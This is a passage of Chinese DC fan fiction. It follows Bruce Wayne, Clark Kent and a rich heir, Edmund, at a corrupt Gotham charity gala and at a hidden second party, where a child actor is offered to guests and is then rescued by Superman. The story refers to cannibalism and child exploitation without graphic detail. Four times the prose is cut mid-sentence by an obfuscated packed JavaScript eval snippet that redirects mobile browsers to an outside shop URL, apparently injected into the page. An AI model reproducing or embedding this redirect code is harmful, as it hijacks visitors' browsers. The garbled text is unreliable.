只是那个时候布鲁斯不明白为什么在拜访和商谈结束之后,玛莎会对托马斯感慨“可惜了那么好的孩子”,在布鲁斯看来,埃德蒙的生活挺好的。然而后来,布鲁斯离开哥谭,又回到哥谭,他查询了哥谭所有家族的资料,同样也找到了埃德蒙的。20岁,比他小四岁的埃德蒙如今已经是莫蒂默家族的骄傲,而莫蒂默家族也死得只剩下雨果、伊莎贝尔和埃德蒙三人了。 莫蒂默家族做的就是沾血的生意,他们的主要营业项目是药品——尤其是精神类药品——和医疗器械,同时也涉足保险业。据传莫蒂默家族和一些秘密结社之间同样有着紧密的联系,在家族的地基中堆砌着累累的尸山。而埃德蒙在成长之后成为了莫蒂默家族的一份子,成为了一个真正的“有钱人”。 《星球日报》的记者,克拉克·肯特便是他豢养的宠物,他的喉舌,他的玩偶。 布鲁斯看着被好好打扮的,被各种服装和饰品点缀的克拉克,心中盈满了忧虑。在克拉克前来采访的时候,他对克拉克也有了基本的了解,这个容貌俊美,性格温和,思维敏锐,言辞犀利的青年并不只是依靠自己的容貌被包养的“幸运儿”,克拉克是个很有本事的人,埃德蒙只是给他提供了平台,并且让他不至于为了金钱担忧。 然而,这必然不是可以长久的,先不说这一切是否对等,他可以看到克拉克在提到埃德蒙的时候语气之中的欢欣雀跃和怜爱。这不像是被包养的金丝雀对金主的,似乎那个青年真的付出了真心。但布鲁斯也可以理解,一个乡下的漂亮男孩来到大城市,发现自己的知识抵不过别人的一封推荐信,在这样令人恐怖的巨大落差之中,有个有钱的,俊美的人愿意为他出资…… 这一切会被误解为爱也是理所当然的。 倒不如说,爱究竟是什么样的呢?难道只有粗茶淡饭,穷困潦倒才能算得上是爱情吗? 现在克拉克被埃德蒙捧得很高——推荐信,衣服,饰品,食物,出入各种高级场合……他的心里已经被“我是不同的,我是被钟爱的”这样的感觉充满了,他真的认为自己找到了一个爱着自己的人。然而这一切对于埃德蒙来说又代表了什么呢?钱对于他们来说并不重要,重要的是刺激的感觉,布鲁斯听说过莫蒂默家族的传言,更知道哥谭的有钱人,其他地方的有钱人是怎么做的。 他们会把克拉克吃干抹净,可怕的是,这不是什么比喻或者修辞,是真的吃,食用。布鲁斯知道有些人,比起单纯在路上随便找一个人吃掉,更喜欢一边玩着恋人的游戏,让人对自己倾心,一边准备着最后完全摧毁那个人的一天。他担心埃德蒙也是其中之一,毕竟甚至一部分哥谭的家伙都害怕埃德蒙。 布鲁斯的忧虑持续了很久,哥谭地下的“莫蒂默少爷什么时候玩腻”的赌局也持续了很久,事到如今埃德蒙已经包养了克拉克近十年,两人之间的关系一直都如胶似漆,也没有什么色衰爱弛之类的麻烦事情……倒不如说或许是因为备受宠爱,克拉克看起来一天比一天容光照人,不少人跟着咬碎了牙齿,感慨自己为什么没能提前一步发现这块璞玉。 布鲁斯是在两年前知道克拉克就是超人的,那是一场非常彻底的意外,他可以发誓他只是去《星球日报》的报社上个厕所,然后听到背后的隔间传来克拉克的声音。他在和埃德蒙打电话,用词不堪入耳,布鲁斯觉得自己听着都快尿不出来了。然而下一秒,克拉克说了声“主编找我”,然后一道熟悉的,超人的身影就从厕所里飞了出去。 布鲁斯面无表情地上完厕所穿好了裤子,打开了隔间,克拉克不知所踪,只有一件浅蓝色的西服和白色的衬衫和裤子和皮鞋留在原地,还有几个硅胶制品。如果克拉克的衣服不会打黄色电话,那么克拉克就是超人,超人被人包养,还因为工作压力大和包养他的人在厕所里调情,布鲁斯觉得要是这件事暴露出来,崇拜超人的人怎么想他不知道,反正卢瑟要跳楼了。 ……要不告诉卢瑟吧?也不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048802|194776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说想要暴露超人的秘密,关键是想看卢瑟跳楼。 等超人回来的时候,和自己的衣服、玩具,还有布鲁斯面面相觑,场面一度非常尴尬。 不过很快超人就反应了过来,他的脸上依然是那种非常道德楷模的微笑,只是布鲁斯觉得有种隐秘的杀气流淌:“韦恩先生,好久不见。”布鲁斯还是第一次看到超人露出这样的表情,他下意识浑身一抖,本能让给他戒备起来。 布鲁斯觉得自己要是不赶紧说什么超人可能会把自己打失忆,他不想失忆,他又不打算拿这件事威胁超人,他最多是让超人……他也不能让超人怎么样,倒不如说如果克拉克是超人他就不用担心超人被切开红烧了,他要担心的只是埃德蒙通过控制超人控制世界……好像也不能做到……好像他现在该担心埃德蒙,但好像也不用。 他觉得自己还是担心一下自己吧,于是他用生平最快的语速说:“抱歉克拉克,我并不打算威胁你,事实上我是布鲁斯·韦恩……啊不对,我是蝙蝠侠。” 超人眨了眨眼睛,他恢复了那种“克拉克”的表情:“哦,好吧,我知道,你该换种防晒霜了,我猜,虽然一般人看不出来,但是在我眼里,头盔的分界线还是挺明显的,要不你换个全包式的吧……” 他礼貌的把衣服和硅胶制品递还给超人,超人微笑着走进隔间里关上门,他们隔着隔间平静的用一种半死不活的语气聊防晒霜和护肤品的事情。克拉克推荐了一款防晒,布鲁斯表示自己试试,但是他担心有香味会暴露他的身份,克拉克表示这是无香的……然后克拉克走出来,衣冠楚楚,神采奕奕。 布鲁斯没看到克拉克拿着包,也没看到克拉克的手里拿着什么,于是他战术后仰:“呃……需要法律援助吗?” “我自愿的,”克拉克看了他一眼,“花花公子不知道这些?我以为你才是更喜欢游戏的那个。” 哈哈,布鲁斯苦中作乐,他才收养杰森,年轻的男孩就像是比格犬一样精力充沛的在韦恩庄园,在哥谭的每一个角落爆冲,他已经几个月没有性生活了。但是这件事他不能告诉克拉克,他要维护自己花花公子的尊严。他沉默了一会儿,没问克拉克把东西放哪了,只是转身,然后向山里走去。 从那之后,或许是因为知道布鲁斯已经知道了自己的秘密,克拉克就再没对布鲁斯保密过,但布鲁斯希望他能和自己保密。 布鲁斯的意思是,他不想知道氪星人和地球人的生活究竟是多么的多姿多彩,你能不能给我一点非法商务的情报啊。 今天,在布鲁斯看到出席名单里有埃德蒙和克拉克的时候,他突然不想去了,去那里干什么?他可以直接问克拉克发生了什么,而且不用看地球人和氪星人搂搂抱抱,要不他下班吧,顺便遛杰森和夜巡。但他还是蠕动着换好了衣服,准备迎接对眼睛的冲击。 9. 宴会 埃德蒙和克拉克一起走进了宴会厅。 巨大的,甚至可以说是全哥谭最大的宴会厅会令人联想到什么主题公园。水晶灯的流苏如同瀑布一般,几乎垂落在地面上;打过蜡的木地板光可鉴人,又被无数鞋子随意践踏,发出咔咔的声音;房间里的香炉不断升腾起袅袅青烟,近乎糜烂的味道蔓延开来;轻笑弥漫在房间的每个角落,香水的气味几乎将空气完全替换…… 许多平日里难得一见的“大人物”齐聚于此,克拉克可以看到星球日报的出资人、州长的秘书、医院的院长、保险公司的董事长、大学的教授、联邦法院的法官……他们正在觥筹交错之中面露矜持的浅笑。克拉克也能看到记者同僚,他们就像是在充当摄影师一般,对着每个人面露谄媚的微笑。除此之外还有当红的影星,他们只是这场宴会的点缀。 使者在人群之中穿行,他们身上穿着的衣服放在大公司的白领身上也能算得上体面了,他们托着银托盘,托盘上摆放着高脚杯,杯中是各种酒水。埃德蒙并不很喜欢喝酒,也对酒精之后的“文化底蕴”,或者有没有少女踩碎葡萄没有兴趣,所以他只能用价格来形容这些东西。一杯酒的价格是一次CT,上面点缀的橄榄是一次血常规,一整个托盘是一个人。 埃德蒙不喜欢这种社交场合,但雨果表示作为莫蒂默家的少爷,他必须习惯在人群中心受人追捧。而事实正是如此,在看到埃德蒙和克拉克的时候,许多人的脸上立刻堆满了笑容。他们走过来,与埃德蒙寒暄,然后称赞克拉克,克拉克的脸上带着矜持的笑容,微微靠在埃德蒙的身上,展示着自己得到的宠爱。 克拉克非常受宠,这是圈内的所有人都知道的事情,来自堪萨斯的乡下男孩因为自己的美貌一步登天,大家会喜欢这样的故事,也想要将克拉克塑造成一个男性的辛德瑞拉。只可惜现在还没有走到嫁入豪门这一步,他们讨好着克拉克,也轻视着克拉克,并且感叹着自己为什么不能有同样的好运气。 在简单的寒暄结束之后,克拉克和埃德蒙交换了一个亲吻:“那么,我先去完成我的工作了,亲爱的,我们等会儿见?”这么说着,他露出了一个有些狡黠的表情,就像是在明确表示自己口中的“等会儿见”不是那么普通的问候,他放任埃德蒙在自己的腰上轻轻捏了一下,然后轻盈地离开了。埃德蒙拿了一杯果汁,找了个没人的卡座坐下,然后掏出手机开始看小说。 克拉克在人群当中穿行,他也早已习惯了这种场合,甚至于他比埃德蒙适应得更好,他的脸上带着微笑,即使在听到那些虚情假意的,对“慈善”的期许之时表情也没有丝毫改变。这一次的晚会举办的目的是为战争孤儿募捐,但谁都知道战争是谁挑起的,这里的人每一个都从战争之中得利,现在他们要开始攫取更多了。 主办方在台上撕心裂肺地演讲着,渲染着一种痛苦的气氛,但克拉克听着只能用虚假来形容——他们说战争孤儿吃不起面包,用不起干净的水,只能蜷缩在地下室里,于是老爷夫人们擦擦眼角,流出几滴同情的泪水,从自己的口袋里逃出一些小钱施舍一般地丢出去,接着就要记者大肆宣扬他们的仁慈。克拉克甚至看到了自己拍的照片,那孩子的脸上沾满灰土,眼睛也因为痛苦浑浊。 饥饿和干渴,他们的遭遇并不是那么“简单”的东西,有时候地上丢着包装好的面包,但其实里面有炭疽杆菌,叛军在饮用水里下毒,看着他们哀嚎,然后带走他们的尸体研究。他们被驱赶到一起,然后直升飞机对着他们扫射,同样被扫射的还有克拉克的同行们,坦克碾压着他们的尸骨,秃鹫停在碎裂的照相机的镜头上。 那才是克拉克最想发布的照片,但是报纸上不许刊登,克拉克知道自己还活着最大的原因是“打狗也要看主人”,他是埃德蒙的人,所以军方的白手套没有找上他。但莱恩将军也给星球日报施压,露易丝又一次和自己的父亲爆发了争吵,克拉克知道,这一次露易丝是真的快要气疯了——不仅仅是因为莱恩将军承认了这一切,还是因为…… “如果你不是我的女儿,你早死了。” “事情不该是这样。”喝多的露易丝把啤酒杯摔在地上,而克拉克手忙脚乱地偷偷切断了酒吧里的监视器和窃听器。这里是记者常来的酒吧,因此很多人担心他们会说些什么。的确,绝大部分记者都只是喉舌,但世界上总是存在着要做些什么的人,每年他都有同事或者同行不明不白地死去,即使是超人也不可能监听每一个人,不可能同时拯救每一个人。 克拉克看向埃德蒙所在的方向,很少有人去打扰埃德蒙,有时候克拉克会觉得哥谭的那些家伙或许有些害怕埃德蒙,即使克拉克找不到埃德蒙可怕的敌方。克拉克觉得埃德蒙是个温和忍让的人,只是一直以来都有传言,老莫蒂默是由埃德蒙和雨果联合杀死的,同时被杀的还有莫蒂默家族的其他人。 克拉克也问过埃德蒙传言是否属实,而埃德蒙在沉默了很久之后回答:“父亲已经不是父亲了,他是披着父亲的皮囊的另一个人……或者说,他的本质一直都没有发生改变,他就是这样的人,只是现在原形毕露。如果不是他的话,死的人就会是我和雨果。克拉克,别问了,我只能说到这里。” 克拉克对此感到怜悯。 他很难理解父母不爱自己的孩子,甚至要杀死自己的孩子这件事,但随着年岁渐长,他也逐渐发现乔纳森这样的父亲才是少见的,于是他将埃德蒙抱在怀里,试图用自己的体温温暖埃德蒙。会对一个人产生怜悯的情绪,就代表这辈子完蛋了,克拉克知道,但克拉克觉得这样也挺好的。 在确定埃德蒙还留在原地,不会遇到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048803|194776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 危险,也不会被什么麻烦的家伙纠缠之后,克拉克松了口气。他继续采访着其他人,继续听着虚伪的慈善话题,有人说要在哥谭建立一个新的孤儿院,将那些战争孤儿带来哥谭,他们的话语引来了一阵嬉笑。克拉克对此更加反胃了,哥谭的孤儿院是什么大家都懂,他们要榨干那些孩子的最后一点利用价值。 然后,克拉克听到一声嘲讽的嗤笑,他看向笑声传来的地方,那里站着一个环抱双臂的,黑发蓝眼的少年,在他的身边站着布鲁斯·韦恩,此时此刻,这位全哥谭著名的花花公子正在与围上来的影星们调情。克拉克忍不住有些想要微笑了,他知道布鲁斯会来,于是他走过去,对着布鲁斯打了个招呼:“晚上好,布鲁斯,还有杰森。” “克拉克,”布鲁斯将手臂搭在一个女星的胳膊上,手指轻轻打圈,让她到别的地方去,然后他看向克拉克,对着克拉克点了点头,“夜安,看起来今天是美好的一天?” 杰森看了一眼克拉克,他知道克拉克是布鲁斯的朋友——真正的那种朋友,而不是围上来的,嗡嗡叫的社交苍蝇。于是他也礼貌地开口了:“肯特先生,夜安。”不过除此之外,他也不知道该说些什么。他总不能和克拉克说蝙蝠侠或者夜巡的事情吧,至于吃喝与奢侈品就别提了,他说一声都觉得自己嘴脏了。过了一会儿之后他问:“莫蒂默先生也在吗?” “是的,埃德蒙在那里。”克拉克指了指埃德蒙所在的卡座。杰森点了点头,他微微仰着头,对布鲁斯开口:“那布鲁斯,我去找莫蒂默先生了,我还有一些题目要问他。” 布鲁斯看了一眼杰森,他倒是不担心杰森会吃亏,而且他确实需要和克拉克聊两句,于是他点了点头,轻轻拍了一下杰森的后背:“别打扰莫蒂默先生太久,想吃什么自己拿。”杰森唔了一声,转身就去自助餐的长桌上拿了个碟子,在上面摆上牛肋和鸡腿,然后走向埃德蒙所在的卡座。克拉克微笑起来:“杰森最近在学什么?” “微积分,”布鲁斯说,“有些东西在弄懂之后会觉得这就是理所当然的,要给人再讲一遍反而讲不清了。你最近怎么样?” “还是那样,”克拉克伸手捋了一下头发,“没更好,也没有更坏……但这里实在是有些……” 虚伪,恶心,布鲁斯也知道,他垂下头苦笑了一声,转头看向杰森,埃德蒙正在给杰森讲题,杰森说过,埃德蒙帮他和他的妈妈都垫付过医药费:“他怎么样?” “最近心情很好,只是发现了一些麻烦的东西。”克拉克将埃德蒙的发现告诉了布鲁斯,他很小心地听着四周是否有人监视或者监听他们,不过幸好没有。布鲁斯点了点头,他依然是那副花花公子……或者说,因为带孩子而疲惫的花花公子的模样,但心中记下了发生的事情——关于拼凑起来的尸体。 10. 杰森 “对了,我还没问呢,以后你有什么打算?”埃德蒙在许久的沉默之后突然开口。杰森啊了一声,将笔放下,让曲顶曲底柱体的面积从自己的脑子里消散一下,让自己短暂地恢复了说话的能力之后才看向埃德蒙的侧脸:“你说的是什么打算?” “要去上什么大学之类的,虽然布鲁斯本人大概会推荐你去哥谭大学,不过哥谭大学的文学系不行,你对理工的兴趣不大,”埃德蒙拿起一支笔,让笔杆在指间旋转,这是他很早以前就留下的习惯,只有水笔或者圆珠笔可以这么转,用钢笔大概率变成洒水车,“要去读大学的话现在就要开始准备社会实践了,毕竟我假设你应该不想让布鲁斯直接捐大楼?” 杰森很用力地啧了一声。 在被布鲁斯收养之前他几乎没有得到多少学习的机会,他能勉强认识的几个单词还是他的母亲还活着,而父亲还没有入狱的时候他们教给他的,在之后他能接触到的学习材料就只有地上捡到的,包热狗的报纸。也正是因此,被布鲁斯收养之后,杰森就像是一块海绵努力吸水一般努力地吸收着知识,为了学习他甚至可以不去夜巡。 幸好他的脑子还挺好用的,即使错过了最佳的学习时间,也很快追赶了上来——当然,杰森觉得或许他在那段时间没有上学也是一种好事。他去不起什么好学校,而在他的家里能勉强负担的小学里他能学到的唯一知识大概是他的性别是流动的。又不是说杰森没见过那些被骗去变性所以需要终生服药的人,或者连四则混合运算都算不清的人。 “我没想过,”他坦诚地说,“这一切好像太远了,但我想,或许是的,我应该去思考这些了。”大学,曾经这对他来说只是一个单纯的词语,他没想过要去读大学,一点都没想过,但现在,他似乎可以追求更多的希望,就像是另一个世界在他的眼前展开。埃德蒙笑了一下,又将视线落在了克拉克的身上。 克拉克在人群当中穿梭,他高挑的身形会令人想到优雅的白鹤,埃德蒙总是想要用一切自己能想到的,美好的形容词来描述克拉克,又因为自己的词穷而感到无奈。似乎是因为感觉到了埃德蒙的视线,他转过头,对着埃德蒙眨了眨眼,然后继续笑着采访那个知名的“教育家”。埃德蒙知道他,他开办了一所寄宿制学校,并且为有钱人提供各种“服务”,但目前他还带着慈爱的面具。 也不是说没有记者对此进行调查,他本人并没有什么深厚的背景,毕竟要成为教育家是一件很简单的事情,教育只有主观的评价体系,自然容易出现专家。他自己只是个老鼠,然而他的背后是无数购买服务的人,这就是城市比起乡村更好的地方,这件事暴露出来会被视为丑闻,因此罪行需要掩盖。然而这也不过是一种苦中作乐的想法。 克拉克总是想要将这一切都揭露出来,他比任何人都无法忍受黑暗的存在,埃德蒙很怀疑一个记者能做到什么程度,但他从来都不会反对克拉克这么做。克拉克身上闪耀着的光芒,那种不像是一个在美国生活长大的人所能有的慈爱、怜悯与正义,才是让埃德蒙感到自己的生命具有意义,也让埃德蒙担心克拉克会消散在某个他看不到的地方的原因。 晚会将会以拍卖结束,埃德蒙给克拉克看过拍品的清单,在上面大多都只是一些普通的珠宝,或者“孩子们亲手制作的工艺品”。这些东西会有一定程度的溢价,不过一般不会太过分,之后的钱会被投入某个基金会里,然后被大家重新瓜分。事到如今,克拉克已经不会因为这样的事情气得在卧室里打军体拳了,但他还是希望埃德蒙成立一个真的有用的基金会。 毕竟私人慈善也是不被允许的,那不然自己搞个干净一点的。 雨果不在意这些,或者说,需要他亲自运作的基金会无论哪个都比埃德蒙这样的小打小闹流水更多,于是基金会由埃德蒙运作,克拉克挂名监督。也正因如此,埃德蒙的名声一直都不错,虽然那或许也不是什么值得开心的好事。某种意义上来说,埃德蒙是莫蒂默家族的门面,他的存在让莫蒂默家族在不知情的人的眼中摆脱了老莫蒂默的阴影,多了几分温情。 最可笑的便是,只是这些温情,和不一定能到自己手上的钱,就已经值得许多人感恩戴德了,埃德蒙自己都不知道这样的事情发生了多少次——当他以埃德蒙家族的代表出现在“平民”的场合当中之时,有人欢呼着他的名字。他们真的认为莫蒂默少爷是个愿意施舍穷人的,应该被上帝保佑的好人,是个合格的“牧者”。 但埃德蒙又能怎么责怪他们呢?人总是要依靠一些虚假的希望活下去的,就像是死在教堂里的流浪汉一样,在死的那一瞬间,他们的眼中依然有着虔诚的光。 接着埃德蒙被什么东西轻轻戳了一下,他看着胳膊,杰森若无其事地收回了手里的笔盖:“我算完了,你看看对不对,还有,你在发什么呆?还在看肯特记者?” 埃德蒙拿过本子,如今杰森写的字还是有点什么奇怪的符号混在里面,这是每个街区的人自己“发明”的文字。还是那句话,并不是每个人都能学习标准英语的,绝大部分人的读写都有问题,甚至还有人连字母都学不全,但记录发生的事情是必须要做的。一些帮派会培养自己的大学生,还有一些则会用各种符号作为记录。 于是这些符号也被成为不同街区、不同帮派之间识别的印记。分辨敌我,找到不属于自己羊群的黑羊是活下去的重要任务,异类理所当然要被驱逐。 “全对,但是你得使用标准符号,你以后的教授多半是看不懂这些的,如果你不想被他说三道四的话,最好现在开始练习和纠正,”埃德蒙在认真检查完杰森的答案之后说,“还有,我确实是在看克 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048804|194776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉克,我总是会担心他在这种破地方遇上什么麻烦。另外,你不是也经常盯着布鲁斯?” “我在想布鲁斯到底是怎么忍下这些的,”杰森撇过头去,恶狠狠地瞪了一个正在对自己指指点点的人,“我是说……那些人说的话。虽然他们已经不再当着布鲁斯的面说了,但他们真的很……”他的喉咙底下咕噜了两声,像是在吞下那些他在街区里学会的,粗野的咒骂——有时候他总是想让自己显得更……上流些,但他就不是这种忍气吞声的个性。 他可以听到无数回荡的声音,这些声音在他刚被布鲁斯收养的时候就没有停下过。他们用下流的言辞猜测着他和布鲁斯的关系,当然还有前任罗宾迪克,在他们的口中,布鲁斯变成了一个有着阴暗欲望和同样阴暗的掌控欲的人。“太大了就换一个”,“听说满身都是伤”,“还以父子相称”……杰森好几次因为愤怒吼叫,然而事情还是那么不尽如人意。 有时候他们还会把埃德蒙编排进去,没办法,埃德蒙的存在本身就是……有趣又无趣的。埃德蒙和克拉克的感情稳定,虽说是包养关系,但近十年间埃德蒙的身上没有传出过绯闻,就连八卦小报也懒得报道埃德蒙的事情了。而杰森,是少有的能和埃德蒙说上话的人,甚至是相对私人的谈话,而克拉克总是要采访布鲁斯,杰森大概能猜到克拉克也是超级英雄。 于是事情就变得有些混乱了,至少听起来是。埃德蒙会很小心的不和杰森产生肢体接触,也是为了防止流言蜚语影响到未成年人,但想好要编排八卦的人可不在意这些。 “他们不敢真写什么,也不会把东西都弄到我面前,流言也只能被禁止到这种程度了——别忘了,卢瑟先生的上一任妻子被报纸和占星学家指控为他的生父。”埃德蒙说,杰森咬着牙憋住了笑意。 那也是一个挺……流行的谣言了,杰森很难想象有人会蠢到相信这种谣言,但事实确实如此,就像是直到现在都有人认为地球是平的,日心说是异教徒的谎言,登月是假的因为月球不存在……他抿了抿嘴,还想再说什么,但很快,克拉克端着酒杯走了过来。克拉克对着杰森微笑着点头,然后靠坐在了埃德蒙的大腿上:“怎么样?埃德蒙?” “没什么,”埃德蒙将手放在克拉克的腰上轻轻拢着,“采访结束了吗?有什么想要的?” 克拉克轻笑了一声,看到杰森回到布鲁斯身边之后才低下头,拿鼻尖蹭了蹭埃德蒙的鼻子,声音柔媚:“想要的?今晚一起去吃汉堡王?这里的东西吃起来都凉了……不是说有热水保温的吗?” “本来就是这样,慈善晚宴不能太奢侈,现场也不能有太多厨师,不然照片拍出来不好看,我今晚还有点事,你先和司机回去吧,”埃德蒙揽过克拉克的脖子和他接吻,低声将话语送进克拉克的唇舌之中,“宴会还有下一场。” 11. 第二场宴会 慈善晚会在一片喧闹之中落下了帷幕,似乎每个人都获得了自己想要的东西,每个人都展现了自己的慈悲。于是他们的脸上带着那种悲天悯人的笑容合影,又分别走向了不同的方向。克拉克和埃德蒙拥吻了一会儿,然后跟着司机上了车,埃德蒙则走进电梯,走入主办方准备已久的,真正的第二场宴会。 哥谭的绝大多数高层建筑物都有夹层,只是从外界看不出来——或许只有精通建筑学的人才能发现端倪,但是发现这一切的人也不会多说。能够成为专家的人几乎都是人精,谁都知道建筑物为什么要被这样处理,这是一个公开的秘密,专门惩罚那些自以为是的家伙。而这第二场宴会,入场券是家室和地位,还有是否足够……属于那个圈子。 韦恩家族在托马斯·韦恩的时期就被那个圈子所排斥,等布鲁斯回到哥谭的时候,他们曾想要再次接纳这位韦恩家的遗孤。那并不是什么好的认同,毕竟布鲁斯·韦恩孤身一人,在加入圈子之后会很快从猎人成为猎物,然后被他们所掌控。而布鲁斯并未上当,他拒绝堕落,甚至还在某次宴会中叫来了蝙蝠侠打断了这一切。 蝙蝠侠没有改变什么,即使他打断了几个人的骨头,但那不算什么,宴会还在继续,在哥谭的夜幕之下,在这个国家的每一个角落。区别只是布鲁斯同样被这个圈子排斥,他不被通知参与宴会,他也不属于这里。不过,在提到布鲁斯的时候,大家还是会说,他是个有本事的花花公子,我们还以为他会很快和他的父母一样死在哥谭的夜里。 埃德蒙不一样,他是莫蒂默家族的老爷,幸存者,他并不真正继承家业,但是莫蒂默家族的所有人雨果非常看重他。雨果甚至在猫头鹰的会议里揽住他的肩膀,告诉所有人埃德蒙将会是他的左膀右臂,埃德蒙代表着他的意志。所有人都不敢怠慢埃德蒙,而埃德蒙也不会对任何人透露宴会的事情。 他被侍者引领着,走入了包间之中。 埃德蒙不会形容侍者的装束,因为这毫无必要,侍者穿着与没穿相差无几的衣服,展现着自己的身躯,只有面容被面具完全遮蔽,带来一种可笑的神秘感。在包间里是一个穿着西服和短裤的男孩,黑发蓝眼,看起来七岁左右,在看到开门的瞬间他像是被人踩到了尾巴的猫一样跳起来,将后背抵在墙上,对着埃德蒙露出一个恐惧的笑容。 “祝您玩得愉快,先生。”没有听到埃德蒙的命令,于是侍者鞠躬离开了房间,只有埃德蒙和那个男孩面面相觑。 埃德蒙认识这个男孩,他在半个月之前看过这个男孩主演的电影,他说男孩的演技不错,于是制片人就把这个男孩送到了房间里。埃德蒙知道这个房间是来做什么的,这就是宴会的一部分,一个童星来到这里,接受挑选和使用,接着长大或者很快退圈,最后的结局不为人知,数年后出现讣告。 男孩也见过埃德蒙,埃德蒙的长相不是什么隐秘,或许十年前是,但现在一切都发生了极大的变化。他瑟缩了一下,带着一种恐惧和任命,只是没有挣扎,他知道自己跑不出去,唯一的希望只有自己被玩腻了之后还能被放出去。但他还是忍不住哽咽了一下,从喉咙底部发出稚嫩的悲鸣。埃德蒙走过去,然后从柜子里拿出一个…… PS5的游戏手柄。 “玩吗?”埃德蒙问。 男孩的哭声卡在了喉咙里,他颤颤巍巍地接过游戏手柄,埃德蒙也拿着一个手柄坐在男孩的身边。他打开游戏选择界面上下翻页,沉默了一会儿之后问:“PS5不能玩马里奥吗?” “……任天堂的游戏一般是任天堂主机独占的,”男孩看着埃德蒙,脸上的表情一瞬间变得有些无语,“你不玩游戏吗?” “没时间玩,”埃德蒙回答,然后他打开了胡闹厨房,“不过平时也玩过这个,要不要试试看来一局?放心吧,说不定一局没打完,你就安全了呢?毕竟这可是超级英雄的世界,说不定大喊超人或者蝙蝠侠,他们就会来救你了呢?” “我表示怀疑。”男孩轻声说,但他知道埃德蒙要和他一起打游戏,所以他只能开始。他毕竟不是成年人,大脑还没发育到可以迅速处理各种不同工作的程度,很快,他就忘记了自己之前遭遇的险境,开始投入到游戏中。 埃德蒙玩游戏的水平确实不行,这是不可否认的,就算是在和克拉克一起玩游戏的时候,也是克拉克在各方面迁就和配合着他。但即便如此,克拉克还是好几次被他坑得红温,然后抓着他的肩膀一边摇晃一边埋怨“你怎么打得这么菜啊”。不过埃德蒙会抱住克拉克的肩膀,好好安抚克拉克,至少让克拉克别那么生气,于是克拉克就只会在他的手臂上咬一口。 男孩也被埃德蒙坑得嗷嗷叫唤,如果不是因为姑且还是有些害怕埃德蒙,他也要开始抱怨埃德蒙坑队友了。埃德蒙无奈地说再来一次,而与此同时,房间门被打开了——不,房间门被拆了下来。 超人正环抱着双臂微微飘浮在空中,愉快地看着面前的两个人:“好吧,我就猜这里正在发生着一件糟糕的事情,他输了几次?” “超人!”男孩欢呼一声,丢下手柄,像是终于找到了主心骨一般飞扑向超人,他语无伦次地说着自己的制片人时候怎样强迫他上车,把他关进房间里,叫他“伺候好要来的老爷”的,他一边说一边偷看埃德蒙。埃德蒙的表情依旧平静,于是男孩小心翼翼地说:“但,但是,他是个好人,没对我做什么……就是游戏打得不好……” “我知道,坏人已经都交给蝙蝠侠了,我猜他们现在应该正在找他们的肋骨,”超人安抚着男孩,“别怕,联邦警察就在门外,我们可以一起去,然后你就可以回到爸爸妈妈的身边了。” 男孩点了点头,虽然他还是有些惊慌,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048805|194776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在好多了,父母并不总是好的,他现在却只能依赖父母。然后他问超人:“我能要一个你的签名吗?超人?” 超人又笑起来,背后传来大概是某个有钱人被打断了骨头之后的哀嚎,这个新的罗宾动手格外爽快。他看向埃德蒙,埃德蒙从柜子里拿出一张纸和一支笔递给超人,自己也顺便签了一个名给男孩:“这次来的都是你们剧组?把这张纸给你们制片人,他知道该怎么做。” 男孩有些懵懂地点了点头,把这张纸叠好放在口袋里,然后从超人手里拿过超人的签名捧在手心,一步一回头地走向警察。埃德蒙看着他的背影,然后看着超人:“联邦警察也不可信赖,你怎么看?” “我说过了,我会看着他们的,”超人说,他坐在窗棂上摇晃着双腿,被红靴裹住的脚踝纤细有力,脚背绷紧成优雅的曲线,“他们还不敢骗我。另外,新的局长上任,总是希望做出点政绩的,这种普通的丑闻刚好……至少他们还没来得及做出什么真正……的事情。” 埃德蒙不置可否,而超人看了他一眼,又笑了起来:“反倒是你,在这方面是你的签名更好用吧?至少制片人不会继续为难他们了。” 